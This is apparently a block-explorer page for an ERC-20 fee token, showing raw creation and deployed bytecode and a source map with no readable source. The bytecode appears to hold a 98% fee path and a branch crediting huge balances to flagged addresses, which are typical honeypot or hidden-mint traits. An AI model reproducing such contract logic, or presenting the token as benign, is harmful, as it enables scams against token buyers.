383169082156108fc029083906000818181858888f19350505050158015610f25573d6000803e3d6000fd5b505050565b600c54158015610f3a5750600d54155b8015610f465750600e54155b15610f4d57565b600d8054601055600e8054601155600c8054600f556000928390559082905555565b600080610f7c8386610727565b6001600160a01b0387166000908152600160205260409020549193509150610fa49084610ce9565b6001600160a01b038087166000908152600160205260408082209390935590861681522054610fd39083610c53565b6001600160a01b03851660009081526001602090815260408083209390935560059052205460ff16156110095761100984611080565b306000908152600160205260409020546110239082610c53565b3060009081526001602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b6001601f600a5b81156110ab5761109781846112ad565b9250816110a3816113ce565b925050611087565b6001600160a01b0384166000908152600160205260409020546110ce9084610c53565b6001600160a01b03909416600090815260016020526040902093909355505050565b600060208083528351808285015260005b8181101561111d57858101830151858201604001528201611101565b8181111561112f576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461115a57600080fd5b50565b6000806040838503121561117057600080fd5b823561117b81611145565b946020939093013593505050565b60006020828403121561119b57600080fd5b8135610c5f81611145565b6000806000606084860312156111bb57600080fd5b83356111c681611145565b925060208401356111d681611145565b929592945050506040919091013590565b600080604083850312156111fa57600080fd5b82359150602083013561120c81611145565b809150509250929050565b6000806040838503121561122a57600080fd5b823561123581611145565b9150602083013561120c81611145565b600181811c9082168061125957607f821691505b60208210810361127957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082198211156112a8576112a861127f565b500190565b60008160001904831182151516156112c7576112c761127f565b500290565b6000826112e957634e487b7160e01b600052601260045260246000fd5b500490565b6000828210156113005761130061127f565b500390565b600060ff821660ff84168060ff038211156113225761132261127f565b019392505050565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561135257600080fd5b8151610c5f81611145565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156113ad5784516001600160a01b031683529383019391830191600101611388565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816113dd576113dd61127f565b50600019019056fe45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77206e756c6c45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206b1195dea3ed88339c45ab5ae3aa47e5b524304d9b5a35791fac212c831d325364736f6c634300080f0033
Deployed Bytecode
0x6080604052600436106101c65760003560e01c80634a74bb02116100f7578063a457c2d711610095578063d28d885211610064578063d28d885214610535578063dd62ed3e1461054a578063f2fde38b14610590578063fee59bf8146105b057600080fd5b8063a457c2d7146104ca578063a9059cbb146104ea578063af465a271461050a578063b09f12661461052057600080fd5b806370a08231116100d157806370a082311461044a578063715018a6146104805780638da5cb5b1461049757806395d89b41146104b557600080fd5b80634a74bb02146103de578063590f897e146103ff5780636d3a1ab21461041557600080fd5b806323b872dd11610164578063395093511161013e5780633950935114610358578063401565a81461037857806340b9a54b146103a857806349bd5a5e146103be57600080fd5b806323b872dd146102f65780632598cdb214610316578063313ce5671461033657600080fd5b80631694505e116101a05780631694505e1461024e57806318160ddd14610286578063183b986e146102a5578063220f6696146102d557600080fd5b806306fdde03146101d2578063095ea7b3146101fd57806313fad07a1461022d57600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506101e76105e0565b6040516101f491906110f0565b60405180910390f35b34801561020957600080fd5b5061021d61021836600461115d565b610672565b60405190151581526020016101f4565b34801561023957600080fd5b5060135461021d90600160b01b900460ff1681565b34801561025a57600080fd5b5060125461026e906001600160a01b031681565b6040516001600160a01b0390911681526020016101f4565b34801561029257600080fd5b50600a545b6040519081526020016101f4565b3480156102b157600080fd5b5061021d6102c0366004611189565b60046020526000908152604090205460ff1681565b3480156102e157600080fd5b5060135461021d90600160a01b900460ff1681565b34801561030257600080fd5b5061021d6103113660046111a6565b610688565b34801561032257600080fd5b5060065461026e906001600160a01b031681565b34801561034257600080fd5b5060095460405160ff90911681526020016101f4565b34801561036457600080fd5b5061021d61037336600461115d565b6106f1565b34801561038457600080fd5b5061021d610393366004611189565b60056020526000908152604090205460ff1681565b3480156103b457600080fd5b50610297600d5481565b3480156103ca57600080fd5b5060135461026e906001600160a01b031681565b3480156103ea57600080fd5b5060135461021d90600160a81b900460ff1681565b34801561040b57600080fd5b50610297600e5481565b34801561042157600080fd5b506104356104303660046111e7565b610727565b604080519283526020830191909152016101f4565b34801561045657600080fd5b50610297610465366004611189565b6001600160a01b031660009081526001602052604090205490565b34801561048c57600080fd5b50610495610764565b005b3480156104a357600080fd5b506000546001600160a01b031661026e565b3480156104c157600080fd5b506101e761080d565b3480156104d657600080fd5b5061021d6104e536600461115d565b61081c565b3480156104f657600080fd5b5061021d61050536600461115d565b61086b565b34801561051657600080fd5b50610297600a5481565b34801561052c57600080fd5b506101e7610878565b34801561054157600080fd5b506101e7610906565b34801561055657600080fd5b50610297610565366004611217565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561059c57600080fd5b506104956105ab366004611189565b610913565b3480156105bc57600080fd5b5061021d6105cb366004611189565b60036020526000908152604090205460ff1681565b6060600780546105ef90611245565b80601f016020809104026020016040519081016040528092919081815260200182805461061b90611245565b80156106685780601f1061063d57610100808354040283529160200191610668565b820191906000526020600020905b81548152906001019060200180831161064b57829003601f168201915b5050505050905090565b600061067f338484610a2d565b50600192915050565b6000610695848484610aee565b6106e784336106e28560405180606001604052806028815260200161140b602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610c27565b610a2d565b5060019392505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161067f9185906106e29086610c53565b600080600061074a606461074461073d87610c66565b8890610cd1565b90610cdd565b905060006107588683610ce9565b96919550909350505050565b6000546001600160a01b031633146107c35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600880546105ef90611245565b600061067f33846106e2856040518060600160405280602581526020016113e6602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610c27565b600061067f338484610aee565b6008805461088590611245565b80601f01602080910402602001604051908101604052809291908181526020018280546108b190611245565b80156108fe5780601f106108d3576101008083540402835291602001916108fe565b820191906000526020600020905b8154815290600101906020018083116108e157829003601f168201915b505050505081565b6007805461088590611245565b6000546001600160a01b0316331461096d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107ba565b6001600160a01b0381166109d25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865206e756c6c206160448201526564647265737360d01b60648201526084016107ba565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831615801590610a4d57506001600160a01b03821615155b610a8d5760405162461bcd60e51b81526020600482015260116024820152704552523a206e756c6c206164647265737360781b60448201526064016107ba565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b601354600160a01b900460ff16158015610b1657506013546001600160a01b03848116911614155b8015610b2b5750601354600160a81b900460ff165b15610b5157306000908152600160205260409020548015610b4f57610b4f81610cf5565b505b6001600160a01b03831660009081526004602052604090205460019060ff1680610b9357506001600160a01b03831660009081526004602052604090205460ff165b15610bd757506001600160a01b03821660009081526005602052604081205460ff1615610bd257600b54600160ff9091161015610bd257610bd2610d3a565b610c15565b6013546001600160a01b0390811690851603610bf857600d54600c55610c15565b6013546001600160a01b0390811690841603610c1557600e54600c555b610c2184848484610d61565b50505050565b60008184841115610c4b5760405162461bcd60e51b81526004016107ba91906110f0565b505050900390565b6000610c5f8284611295565b9392505050565b600b54600090600160ff90911610610cc7576001600160a01b03821660009081526005602052604090205460ff16610cbf576001600160a01b03821660009081526003602052604090205460ff16610cbf576062610ccb565b600c54610ccb565b600c545b92915050565b6000610c5f82846112ad565b6000610c5f82846112cc565b6000610c5f82846112ee565b6013805460ff60a01b1916600160a01b179055610d1181610d95565b6006544790610d29906001600160a01b031682610eef565b50506013805460ff60a01b19169055565b600b54610d4b9060ff166001611305565b600b805460ff191660ff92909216919091179055565b80610d6e57610d6e610f2a565b610d79848484610f6f565b80610c2157610c21600f54600c55601054600d55601154600e55565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610dca57610dca61132a565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e23573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e479190611340565b81600181518110610e5a57610e5a61132a565b6001600160a01b039283166020918202929092010152601254610e809130911684610a2d565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610eb990859060009086903090429060040161135d565b600060405180830381600087803b158015610ed357600080fd5b505af1158015610ee7573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610f25573d6000803e3d6000fd5b505050565b600c54158015610f3a5750600d54155b8015610f465750600e54155b15610f4d57565b600d8054601055600e8054601155600c8054600f556000928390559082905555565b600080610f7c8386610727565b6001600160a01b0387166000908152600160205260409020549193509150610fa49084610ce9565b6001600160a01b038087166000908152600160205260408082209390935590861681522054610fd39083610c53565b6001600160a01b03851660009081526001602090815260408083209390935560059052205460ff16156110095761100984611080565b306000908152600160205260409020546110239082610c53565b3060009081526001602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b6001601f600a5b81156110ab5761109781846112ad565b9250816110a3816113ce565b925050611087565b6001600160a01b0384166000908152600160205260409020546110ce9084610c53565b6001600160a01b03909416600090815260016020526040902093909355505050565b600060208083528351808285015260005b8181101561111d57858101830151858201604001528201611101565b8181111561112f576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461115a57600080fd5b50565b6000806040838503121561117057600080fd5b823561117b81611145565b946020939093013593505050565b60006020828403121561119b57600080fd5b8135610c5f81611145565b6000806000606084860312156111bb57600080fd5b83356111c681611145565b925060208401356111d681611145565b929592945050506040919091013590565b600080604083850312156111fa57600080fd5b82359150602083013561120c81611145565b809150509250929050565b6000806040838503121561122a57600080fd5b823561123581611145565b9150602083013561120c81611145565b600181811c9082168061125957607f821691505b60208210810361127957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082198211156112a8576112a861127f565b500190565b60008160001904831182151516156112c7576112c761127f565b500290565b6000826112e957634e487b7160e01b600052601260045260246000fd5b500490565b6000828210156113005761130061127f565b500390565b600060ff821660ff84168060ff038211156113225761132261127f565b019392505050565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561135257600080fd5b8151610c5f81611145565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156113ad5784516001600160a01b031683529383019391830191600101611388565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816113dd576113dd61127f565b50600019019056fe45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77206e756c6c45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206b1195dea3ed88339c45ab5ae3aa47e5b524304d9b5a35791fac212c831d325364736f6c634300080f0033
Deployed Bytecode Sourcemap
13970:8156:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16058:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16890:161;;;;;;;;;;-1:-1:-1;16890:161:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;16890:161:0;1072:187:1;17921:35:0;;;;;;;;;;-1:-1:-1;17921:35:0;;;;-1:-1:-1;;;17921:35:0;;;;;;14939:41;;;;;;;;;;-1:-1:-1;14939:41:0;;;;-1:-1:-1;;;;;14939:41:0;;;;;;-1:-1:-1;;;;;1455:32:1;;;1437:51;;1425:2;1410:18;14939:41:0;1264:230:1;16335:95:0;;;;;;;;;;-1:-1:-1;16415:7:0;;16335:95;;;1645:25:1;;;1633:2;1618:18;16335:95:0;1499:177:1;14266:46:0;;;;;;;;;;-1:-1:-1;14266:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;15022:28;;;;;;;;;;-1:-1:-1;15022:28:0;;;;-1:-1:-1;;;15022:28:0;;;;;;17059:313;;;;;;;;;;-1:-1:-1;17059:313:0;;;;;:::i;:::-;;:::i;14373:92::-;;;;;;;;;;-1:-1:-1;14373:92:0;;;;-1:-1:-1;;;;;14373:92:0;;;16244:83;;;;;;;;;;-1:-1:-1;16310:9:0;;16244:83;;16310:9;;;;2760:36:1;;2748:2;2733:18;16244:83:0;2618:184:1;17380:218:0;;;;;;;;;;-1:-1:-1;17380:218:0;;;;;:::i;:::-;;:::i;14319:45::-;;;;;;;;;;-1:-1:-1;14319:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;14714:26;;;;;;;;;;;;;;;;14987:28;;;;;;;;;;-1:-1:-1;14987:28:0;;;;-1:-1:-1;;;;;14987:28:0;;;15057:40;;;;;;;;;;-1:-1:-1;15057:40:0;;;;-1:-1:-1;;;15057:40:0;;;;;;14747:27;;;;;;;;;;;;;;;;21831:292;;;;;;;;;;-1:-1:-1;21831:292:0;;;;;:::i;:::-;;:::i;:::-;;;;3509:25:1;;;3565:2;3550:18;;3543:34;;;;3482:18;21831:292:0;3335:248:1;16438:118:0;;;;;;;;;;-1:-1:-1;16438:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;16531:17:0;16504:7;16531:17;;;:8;:17;;;;;;;16438:118;5753:148;;;;;;;;;;;;;:::i;:::-;;5530:87;;;;;;;;;;-1:-1:-1;5576:7:0;5603:6;-1:-1:-1;;;;;5603:6:0;5530:87;;16149;;;;;;;;;;;;;:::i;17606:269::-;;;;;;;;;;-1:-1:-1;17606:269:0;;;;;:::i;:::-;;:::i;16564:167::-;;;;;;;;;;-1:-1:-1;16564:167:0;;;;;:::i;:::-;;:::i;14583:49::-;;;;;;;;;;;;;;;;14510:31;;;;;;;;;;;;;:::i;14474:29::-;;;;;;;;;;;;;:::i;16739:143::-;;;;;;;;;;-1:-1:-1;16739:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;16847:18:0;;;16820:7;16847:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;16739:143;5909:244;;;;;;;;;;-1:-1:-1;5909:244:0;;;;;:::i;:::-;;:::i;14216:43::-;;;;;;;;;;-1:-1:-1;14216:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;16058:83;16095:13;16128:5;16121:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16058:83;:::o;16890:161::-;16965:4;16982:39;1759:10;17005:7;17014:6;16982:8;:39::i;:::-;-1:-1:-1;17039:4:0;16890:161;;;;:::o;17059:313::-;17157:4;17174:36;17184:6;17192:9;17203:6;17174:9;:36::i;:::-;17221:121;17230:6;1759:10;17252:89;17290:6;17252:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;17252:19:0;;;;;;:11;:19;;;;;;;;1759:10;17252:33;;;;;;;;;;:37;:89::i;:::-;17221:8;:121::i;:::-;-1:-1:-1;17360:4:0;17059:313;;;;;:::o;17380:218::-;1759:10;17468:4;17517:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17517:34:0;;;;;;;;;;17468:4;;17485:83;;17508:7;;17517:50;;17556:10;17517:38;:50::i;21831:292::-;21914:7;21923;21943:20;21966:40;22002:3;21966:31;21978:18;21989:6;21978:10;:18::i;:::-;21966:7;;:11;:31::i;:::-;:35;;:40::i;:::-;21943:63;-1:-1:-1;22017:22:0;22042:25;:7;21943:63;22042:11;:25::i;:::-;22017:50;22102:12;;-1:-1:-1;21831:292:0;;-1:-1:-1;;;;21831:292:0:o;5753:148::-;5576:7;5603:6;-1:-1:-1;;;;;5603:6:0;1759:10;5665:23;5657:68;;;;-1:-1:-1;;;5657:68:0;;4568:2:1;5657:68:0;;;4550:21:1;;;4587:18;;;4580:30;4646:34;4626:18;;;4619:62;4698:18;;5657:68:0;;;;;;;;;5860:1:::1;5844:6:::0;;5823:40:::1;::::0;-1:-1:-1;;;;;5844:6:0;;::::1;::::0;5823:40:::1;::::0;5860:1;;5823:40:::1;5891:1;5874:19:::0;;-1:-1:-1;;;;;;5874:19:0::1;::::0;;5753:148::o;16149:87::-;16188:13;16221:7;16214:14;;;;;:::i;17606:269::-;17699:4;17716:129;1759:10;17739:7;17748:96;17787:15;17748:96;;;;;;;;;;;;;;;;;1759:10;17748:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17748:34:0;;;;;;;;;;;;:38;:96::i;16564:167::-;16642:4;16659:42;1759:10;16683:9;16694:6;16659:9;:42::i;14510:31::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;14474:29::-;;;;;;;:::i;5909:244::-;5576:7;5603:6;-1:-1:-1;;;;;5603:6:0;1759:10;5665:23;5657:68;;;;-1:-1:-1;;;5657:68:0;;4568:2:1;5657:68:0;;;4550:21:1;;;4587:18;;;4580:30;4646:34;4626:18;;;4619:62;4698:18;;5657:68:0;4366:356:1;5657:68:0;-1:-1:-1;;;;;5998:22:0;::::1;5990:73;;;::::0;-1:-1:-1;;;5990:73:0;;4929:2:1;5990:73:0::1;::::0;::::1;4911:21:1::0;4968:2;4948:18;;;4941:30;5007:34;4987:18;;;4980:62;-1:-1:-1;;;5058:18:1;;;5051:36;5104:19;;5990:73:0::1;4727:402:1::0;5990:73:0::1;6100:6;::::0;;6079:38:::1;::::0;-1:-1:-1;;;;;6079:38:0;;::::1;::::0;6100:6;::::1;::::0;6079:38:::1;::::0;::::1;6128:6;:17:::0;;-1:-1:-1;;;;;;6128:17:0::1;-1:-1:-1::0;;;;;6128:17:0;;;::::1;::::0;;;::::1;::::0;;5909:244::o;18529:262::-;-1:-1:-1;;;;;18622:19:0;;;;;;:44;;-1:-1:-1;;;;;;18645:21:0;;;;18622:44;18614:74;;;;-1:-1:-1;;;18614:74:0;;5336:2:1;18614:74:0;;;5318:21:1;5375:2;5355:18;;;5348:30;-1:-1:-1;;;5394:18:1;;;5387:47;5451:18;;18614:74:0;5134:341:1;18614:74:0;-1:-1:-1;;;;;18699:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;18751:32;;1645:25:1;;;18751:32:0;;1618:18:1;18751:32:0;;;;;;;18529:262;;;:::o;18799:789::-;18931:16;;-1:-1:-1;;;18931:16:0;;;;18930:17;:42;;;;-1:-1:-1;18959:13:0;;-1:-1:-1;;;;;18951:21:0;;;18959:13;;18951:21;;18930:42;:67;;;;-1:-1:-1;18976:21:0;;-1:-1:-1;;;18976:21:0;;;;18930:67;18927:261;;;19065:4;19016:28;16531:17;;;:8;:17;;;;;;19089:24;;19086:91;;19129:36;19144:20;19129:14;:36::i;:::-;18999:189;18927:261;-1:-1:-1;;;;;19253:19:0;;19208:13;19253:19;;;:13;:19;;;;;;19224:4;;19253:19;;;:40;;-1:-1:-1;;;;;;19276:17:0;;;;;;:13;:17;;;;;;;;19253:40;19250:270;;;-1:-1:-1;;;;;;19343:16:0;;19320:5;19343:16;;;:12;:16;;;;;;;;19340:60;;;19364:11;;19378:1;19364:11;;;;:15;19361:38;;;19382:14;:12;:14::i;:::-;19250:270;;;19429:13;;-1:-1:-1;;;;;19429:13:0;;;19421:21;;;;19417:103;;19457:7;;19444:10;:20;19417:103;;;19482:13;;-1:-1:-1;;;;;19482:13:0;;;19476:19;;;;19472:48;;19510:8;;19497:10;:21;19472:48;19540:40;19556:4;19561:2;19564:6;19571:8;19540:15;:40::i;:::-;18902:686;18799:789;;;:::o;1210:206::-;1296:7;1357:12;1349:6;;;;1341:29;;;;-1:-1:-1;;;1341:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1392:5:0;;;1210:206::o;782:98::-;840:7;867:5;871:1;867;:5;:::i;:::-;860:12;782:98;-1:-1:-1;;;782:98:0:o;20062:205::-;20143:11;;20117:7;;20157:1;20143:11;;;;:15;:116;;-1:-1:-1;;;;;20174:18:0;;;;;;:12;:18;;;;;;;;:85;;-1:-1:-1;;;;;20208:16:0;;;;;;:10;:16;;;;;;;;:51;;20250:9;20143:116;;20208:51;20227:10;;20143:116;;;20161:10;;20143:116;20136:123;20062:205;-1:-1:-1;;20062:205:0:o;994:98::-;1052:7;1079:5;1083:1;1079;:5;:::i;1104:98::-;1162:7;1189:5;1193:1;1189;:5;:::i;888:98::-;946:7;973:5;977:1;973;:5;:::i;20277:237::-;15346:16;:23;;-1:-1:-1;;;;15346:23:0;-1:-1:-1;;;15346:23:0;;;20362:38:::1;20379:20:::0;20362:16:::1;:38::i;:::-;20478:15;::::0;20433:21:::1;::::0;20465:41:::1;::::0;-1:-1:-1;;;;;20478:15:0::1;20433:21:::0;20465:12:::1;:41::i;:::-;-1:-1:-1::0;;15392:16:0;:24;;-1:-1:-1;;;;15392:24:0;;;20277:237::o;18272:79::-;18328:11;;:15;;:11;;;:15;:::i;:::-;18314:11;:29;;-1:-1:-1;;18314:29:0;;;;;;;;;;;;18272:79::o;21002:298::-;21118:8;21114:58;;21142:14;:12;:14::i;:::-;21187:42;21203:6;21211:9;21222:6;21187:15;:42::i;:::-;21254:8;21250:42;;21277:15;18420:17;;18407:10;:30;18458:15;;18448:7;:25;18496:16;;18485:8;:27;18363:158;20522:472;20612:16;;;20626:1;20612:16;;;;;;;;20588:21;;20612:16;;;;;;;;;;-1:-1:-1;20612:16:0;20588:40;;20657:4;20639;20644:1;20639:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20639:23:0;;;:7;;;;;;;;;;:23;;;;20683:15;;:22;;;-1:-1:-1;;;20683:22:0;;;;:15;;;;;:20;;:22;;;;;20639:7;;20683:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20673:4;20678:1;20673:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20673:32:0;;;:7;;;;;;;;;:32;20748:15;;20716:62;;20733:4;;20748:15;20766:11;20716:8;:62::i;:::-;20789:15;;:197;;-1:-1:-1;;;20789:197:0;;-1:-1:-1;;;;;20789:15:0;;;;:66;;:197;;20870:11;;20789:15;;20913:4;;20940;;20960:15;;20789:197;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20577:417;20522:472;:::o;19596:120::-;19681:23;;-1:-1:-1;;;;;19681:15:0;;;:23;;;;;19697:6;;19681:23;;;;19697:6;19681:15;:23;;;;;;;;;;;;;;;;;;;;;19596:120;;:::o;17965:299::-;18011:10;;:15;:31;;;;-1:-1:-1;18030:7:0;;:12;18011:31;:48;;;;-1:-1:-1;18046:8:0;;:13;18011:48;18008:60;;;17965:299::o;18008:60::-;18096:7;;;18078:15;:25;18134:8;;;18115:16;:27;18174:10;;;18154:17;:30;-1:-1:-1;18195:11:0;;;;18217:12;;;;18240:14;17965:299::o;21310:513::-;21407:22;21431:20;21455:33;21472:7;21481:6;21455:16;:33::i;:::-;-1:-1:-1;;;;;21518:16:0;;;;;;:8;:16;;;;;;21406:82;;-1:-1:-1;21406:82:0;-1:-1:-1;21518:29:0;;21539:7;21518:20;:29::i;:::-;-1:-1:-1;;;;;21499:16:0;;;;;;;:8;:16;;;;;;:48;;;;21580:19;;;;;;;:39;;21604:14;21580:23;:39::i;:::-;-1:-1:-1;;;;;21558:19:0;;;;;;:8;:19;;;;;;;;:61;;;;21633:12;:23;;;;;;21630:49;;;21658:19;21667:9;21658:8;:19::i;:::-;21732:4;21715:23;;;;:8;:23;;;;;;:41;;21743:12;21715:27;:41::i;:::-;21706:4;21689:23;;;;:8;:23;;;;;;;;;:67;;;;21772:43;1645:25:1;;;-1:-1:-1;;;;;21772:43:0;;;;;;;;;;1618:18:1;21772:43:0;;;;;;;21395:428;;21310:513;;;:::o;19728:326::-;19896:1;19833:2;19866;19879:107;19899:14;;19879:107;;19945:25;19959:11;19945:25;;:::i;:::-;;-1:-1:-1;19916:12:0;;;;:::i;:::-;;;19915:14;19879:107;;;-1:-1:-1;;;;;20014:14:0;;;;;;:8;:14;;;;;;:32;;20033:12;20014:18;:32::i;:::-;-1:-1:-1;;;;;19997:14:0;;;;;;;:8;:14;;;;;:49;;;;-1:-1:-1;;;19728:326:0:o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;671:70;616:131;:::o;752:315::-;820:6;828;881:2;869:9;860:7;856:23;852:32;849:52;;;897:1;894;887:12;849:52;936:9;923:23;955:31;980:5;955:31;:::i;:::-;1005:5;1057:2;1042:18;;;;1029:32;;-1:-1:-1;;;752:315:1:o;1681:247::-;1740:6;1793:2;1781:9;1772:7;1768:23;1764:32;1761:52;;;1809:1;1806;1799:12;1761:52;1848:9;1835:23;1867:31;1892:5;1867:31;:::i;1933:456::-;2010:6;2018;2026;2079:2;2067:9;2058:7;2054:23;2050:32;2047:52;;;2095:1;2092;2085:12;2047:52;2134:9;2121:23;2153:31;2178:5;2153:31;:::i;:::-;2203:5;-1:-1:-1;2260:2:1;2245:18;;2232:32;2273:33;2232:32;2273:33;:::i;:::-;1933:456;;2325:7;;-1:-1:-1;;;2379:2:1;2364:18;;;;2351:32;;1933:456::o;3015:315::-;3083:6;3091;3144:2;3132:9;3123:7;3119:23;3115:32;3112:52;;;3160:1;3157;3150:12;3112:52;3196:9;3183:23;3173:33;;3256:2;3245:9;3241:18;3228:32;3269:31;3294:5;3269:31;:::i;:::-;3319:5;3309:15;;;3015:315;;;;;:::o;3588:388::-;3656:6;3664;3717:2;3705:9;3696:7;3692:23;3688:32;3685:52;;;3733:1;3730;3723:12;3685:52;3772:9;3759:23;3791:31;3816:5;3791:31;:::i;:::-;3841:5;-1:-1:-1;3898:2:1;3883:18;;3870:32;3911:33;3870:32;3911:33;:::i;3981:380::-;4060:1;4056:12;;;;4103;;;4124:61;;4178:4;4170:6;4166:17;4156:27;;4124:61;4231:2;4223:6;4220:14;4200:18;4197:38;4194:161;;4277:10;4272:3;4268:20;4265:1;4258:31;4312:4;4309:1;4302:15;4340:4;4337:1;4330:15;4194:161;;3981:380;;;:::o;5480:127::-;5541:10;5536:3;5532:20;5529:1;5522:31;5572:4;5569:1;5562:15;5596:4;5593:1;5586:15;5612:128;5652:3;5683:1;5679:6;5676:1;5673:13;5670:39;;;5689:18;;:::i;:::-;-1:-1:-1;5725:9:1;;5612:128::o;5745:168::-;5785:7;5851:1;5847;5843:6;5839:14;5836:1;5833:21;5828:1;5821:9;5814:17;5810:45;5807:71;;;5858:18;;:::i;:::-;-1:-1:-1;5898:9:1;;5745:168::o;5918:217::-;5958:1;5984;5974:132;;6028:10;6023:3;6019:20;6016:1;6009:31;6063:4;6060:1;6053:15;6091:4;6088:1;6081:15;5974:132;-1:-1:-1;6120:9:1;;5918:217::o;6140:125::-;6180:4;6208:1;6205;6202:8;6199:34;;;6213:18;;:::i;:::-;-1:-1:-1;6250:9:1;;6140:125::o;6270:204::-;6308:3;6344:4;6341:1;6337:12;6376:4;6373:1;6369:12;6411:3;6405:4;6401:14;6396:3;6393:23;6390:49;;;6419:18;;:::i;:::-;6455:13;;6270:204;-1:-1:-1;;;6270:204:1:o;6611:127::-;6672:10;6667:3;6663:20;6660:1;6653:31;6703:4;6700:1;6693:15;6727:4;6724:1;6717:15;6743:251;6813:6;6866:2;6854:9;6845:7;6841:23;6837:32;6834:52;;;6882:1;6879;6872:12;6834:52;6914:9;6908:16;6933:31;6958:5;6933:31;:::i;6999:980::-;7261:4;7309:3;7298:9;7294:19;7340:6;7329:9;7322:25;7366:2;7404:6;7399:2;7388:9;7384:18;7377:34;7447:3;7442:2;7431:9;7427:18;7420:31;7471:6;7506;7500:13;7537:6;7529;7522:22;7575:3;7564:9;7560:19;7553:26;;7614:2;7606:6;7602:15;7588:29;;7635:1;7645:195;7659:6;7656:1;7653:13;7645:195;;;7724:13;;-1:-1:-1;;;;;7720:39:1;7708:52;;7815:15;;;;7780:12;;;;7756:1;7674:9;7645:195;;;-1:-1:-1;;;;;;;7896:32:1;;;;7891:2;7876:18;;